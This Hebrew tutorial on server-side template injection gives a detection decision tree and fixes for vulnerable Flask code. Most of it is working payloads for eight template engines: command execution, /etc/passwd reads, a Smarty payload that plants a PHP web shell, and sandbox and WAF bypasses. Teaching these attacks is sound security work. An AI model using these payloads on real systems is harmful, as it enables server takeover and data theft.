הזרקת תבניות - SSTI¶
מבוא¶
הזרקת תבניות בצד השרת (Server-Side Template Injection) היא חולשה קריטית שמתרחשת כאשר קלט של המשתמש משולב ישירות לתוך תבנית בצד השרת, במקום לעבור כפרמטר לתבנית. החולשה מאפשרת לתוקף להזריק ביטויים של מנוע התבניות, ובמקרים רבים להגיע להרצת קוד מרחוק (RCE).
בניגוד ל-XSS שמתרחש בצד הלקוח, SSTI מתרחש בצד השרת - מה שהופך אותו להרבה יותר מסוכן.
מתי נוצרת החולשה¶
חולשה נוצרת כאשר המפתח משלב קלט משתמש ישירות בתוך מחרוזת התבנית:
# Vulnerable code - user input is injected directly into the template itself
@app.route('/greet')
def greet():
name = request.args.get('name', '')
template_string = f"<h1>Hello {name}!</h1>"
return render_template_string(template_string)
# Safe code - user input is passed as a parameter to the template
@app.route('/greet')
def greet():
name = request.args.get('name', '')
return render_template_string("<h1>Hello {{name}}!</h1>", name=name)
ההבדל קריטי: בקוד הפגיע, אם המשתמש שולח {{7*7}} כשם, מנוע התבניות יעבד את הביטוי ויחזיר Hello 49!.
זיהוי SSTI - עץ ההחלטות¶
השלב הראשון בתקיפה הוא זיהוי מנוע התבניות. כל מנוע משתמש בתחביר שונה:
שלב 1 - בדיקה בסיסית¶
שולחים את הקלט {{7*7}} ובודקים את התגובה:
- אם מוחזר
49- כנראה מנוע מבוסס Jinja2, Twig, או דומה - אם מוחזר
{{7*7}}כטקסט - ננסה תחביר אחר
שלב 2 - הבחנה בין מנועים¶
- אם מוחזר
7777777- זהו Jinja2 (Python) - אם מוחזר
49- זהו Twig (PHP)
שלב 3 - תחביר נוסף¶
${7*7} -> Freemarker, Velocity, Thymeleaf (Java)
#{7*7} -> Thymeleaf, Pebble (Java)
<%= 7*7 %> -> ERB (Ruby)
#{7*7} -> Slim (Ruby)
@(7*7) -> Razor (.NET)
{{= 7*7}} -> doT.js
עץ החלטות מלא¶
Enter {{7*7}}
|
+-- Returns 49?
| |
| +-- Enter {{7*'7'}}
| |
| +-- Returns 7777777? --> Jinja2
| +-- Returns 49? --> Twig
|
+-- Not processed?
|
+-- Enter ${7*7}
| |
| +-- Returns 49? --> Freemarker / Velocity / Mako
|
+-- Enter <%= 7*7 %>
| |
| +-- Returns 49? --> ERB
|
+-- Enter #{7*7}
|
+-- Returns 49? --> Pebble / Thymeleaf
Jinja2 - exploit מלא (Python/Flask)¶
מנוע Jinja2 הוא הנפוץ ביותר ב-Flask ו-Django (במידה מסוימת).
זיהוי¶
גישה לאובייקטים של Python דרך MRO¶
בסביבת Jinja2 אין גישה ישירה ל-os או subprocess, אבל אפשר להגיע אליהם דרך שרשרת המחלקות של Python:
# Step 1 - access the base class object
{{''.__class__}}
# Output: <class 'str'>
# Step 2 - climb up the class hierarchy
{{''.__class__.__mro__}}
# Output: (<class 'str'>, <class 'object'>)
# Step 3 - list of all subclasses of object
{{''.__class__.__mro__[1].__subclasses__()}}
# Output: a long list of classes
מציאת מחלקה שימושית להרצת קוד¶
# Search for os._wrap_close (usually at a variable index)
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == '_wrap_close' %}
{{ c.__init__.__globals__['popen']('id').read() }}
{% endif %}
{% endfor %}
שיטות RCE נפוצות ב-Jinja2¶
# Method 1 - via config
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Method 2 - via request
{{request.application.__self__._get_data_for_json.__globals__['os'].popen('id').read()}}
# Method 3 - via cycler
{{cycler.__init__.__globals__.os.popen('id').read()}}
# Method 4 - via joiner
{{joiner.__init__.__globals__.os.popen('id').read()}}
# Method 5 - via namespace
{{namespace.__init__.__globals__.os.popen('id').read()}}
קריאת קבצים ללא RCE¶
# Read a file via builtins
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
# Note: the index [40] varies between Python versions
# Look for FileLoader or _IOBase
הbypass סינון - Bypass¶
# If __class__ is blocked
{{''|attr('\x5f\x5fclass\x5f\x5f')}}
# If dots are blocked
{{''['__class__']['__mro__'][1]['__subclasses__']()}}
# Using Jinja2 filters
{%set a='__cla'+'ss__'%}{{''|attr(a)}}
# Hex encoding
{{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')}}
# Using request.args to bypass
{{request|attr(request.args.a)|attr(request.args.b)}}
# where: ?a=__class__&b=__mro__
Twig - exploit מלא (PHP/Symfony)¶
זיהוי¶
{{7*7}} -> 49
{{7*'7'}} -> 49 (not 7777777 like in Jinja2)
{{dump()}} -> displays available variables
הרצת קוד - גרסאות ישנות (לפני 1.x)¶
// Old versions of Twig
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
// Another method
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("cat /etc/passwd")}}
הרצת קוד - גרסאות חדשות¶
// Twig 2.x+ - using filter
{{['id']|filter('system')}}
// Using map
{{['id']|map('system')}}
// Using reduce
{{[0]|reduce('system','id')}}
// Using sort
{{['id',0]|sort('system')}}
קריאת קבצים ב-Twig¶
Freemarker - exploit מלא (Java)¶
מנוע Freemarker נפוץ מאוד באפליקציות Java.
זיהוי¶
הרצת קוד¶
// Method 1 - Execute
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
// Method 2 - ObjectConstructor
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()}
// Method 3 - JythonRuntime (if Jython is available)
<#assign jython="freemarker.template.utility.JythonRuntime"?new()>
<@jython>import os; os.system("id")</@jython>
קריאת קבצים¶
// Read a file
<#assign file=object("java.io.File", "/etc/passwd")>
${file.toString()}
// Alternative method
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
Velocity - exploit (Java)¶
זיהוי¶
הרצת קוד¶
// Method 1 - Runtime
#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
#set($reader = $class.inspect("java.io.BufferedReader").type.getConstructor($class.inspect("java.io.Reader").type).newInstance($class.inspect("java.io.InputStreamReader").type.getConstructor($class.inspect("java.io.InputStream").type).newInstance($process.getInputStream())))
#set($output = "")
#foreach($line in [1..100])
#set($line = $reader.readLine())
#if($line)
#set($output = "$output$line\n")
#end
#end
$output
Pebble - exploit (Java)¶
זיהוי¶
הרצת קוד¶
// Using Runtime
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(([bytes, 'UTF-8'] | join(','))).split(',')[0] }}
Smarty - exploit (PHP)¶
זיהוי¶
הרצת קוד¶
// Direct method
{system('id')}
// Using tags
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Mako - exploit (Python)¶
זיהוי¶
הרצת קוד¶
# In Mako there is direct access to Python
<%
import os
result = os.popen('id').read()
%>
${result}
# One line
${__import__('os').popen('id').read()}
Thymeleaf - exploit (Java/Spring)¶
זיהוי¶
Thymeleaf מעבד ביטויים בתוך תכונות HTML:
הרצת קוד¶
// Using Spring EL
${T(java.lang.Runtime).getRuntime().exec('id')}
// Inside a URL expression
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
// Preprocessing - the main injection point
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
חשוב: ב-Thymeleaf, הביטוי __...__ הוא preprocessing שמתבצע לפני העיבוד הרגיל, וזו נקודת הinjection העיקרית.
טכניקות bypass Sandbox¶
הbypass Sandbox ב-Jinja2¶
# Using lipsum (a built-in function)
{{lipsum.__globals__['os'].popen('id').read()}}
# Using range
{{range.__init__.__globals__['os'].popen('id').read()}}
# String chaining to bypass blocked keywords
{% set a = 'po' %}{% set b = 'pen' %}
{{cycler.__init__.__globals__.os[a~b]('id').read()}}
הbypass WAF¶
# Using Unicode encoding
{{''['\u005f\u005fclass\u005f\u005f']}}
# Using a format string
{{('%c'*9)%(95,95,99,108,97,115,115,95,95)}}
# Using |attr and |join
{{()|attr(["__cla","ss__"]|join)}}
הגנה מפני SSTI¶
עקרונות¶
- לעולם לא לשלב קלט משתמש בתוך מחרוזת התבנית - להעביר כפרמטר בלבד
- להשתמש בתבניות חסרות לוגיקה (Logic-less templates) כמו Mustache/Handlebars
- להפעיל Sandbox של מנוע התבניות אם קיים
- לבצע ולידציה על הקלט - לסנן תווים מיוחדים כמו
{{ }} ${ } <# #>
דוגמה לקוד מתוקן¶
# Vulnerable
@app.route('/page')
def page():
title = request.args.get('title')
return render_template_string(f'<h1>{title}</h1>')
# Fixed - parameter in the template
@app.route('/page')
def page():
title = request.args.get('title')
return render_template_string('<h1>{{ title }}</h1>', title=title)
# Fixed - using a template file
@app.route('/page')
def page():
title = request.args.get('title')
return render_template('page.html', title=title)
הגדרת Sandbox ב-Jinja2¶
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
# The sandbox blocks access to dangerous attributes like __class__
template = env.from_string("Hello {{ name }}!")
result = template.render(name=user_input)
סיכום¶
SSTI היא אחת החולשות הקריטיות ביותר בעולם אבטחת האתרים. היא מאפשרת במרבית המקרים להגיע ל-RCE מלא על השרת. נקודות המפתח:
- תמיד לבדוק עם payloads בסיסיים כמו
{{7*7}}ו-${7*7} - להשתמש בעץ ההחלטות לזיהוי מנוע התבניות
- כל מנוע דורש שרשרת exploit שונה
- ההגנה הטובה ביותר היא להפריד לחלוטין בין קלט המשתמש לתבנית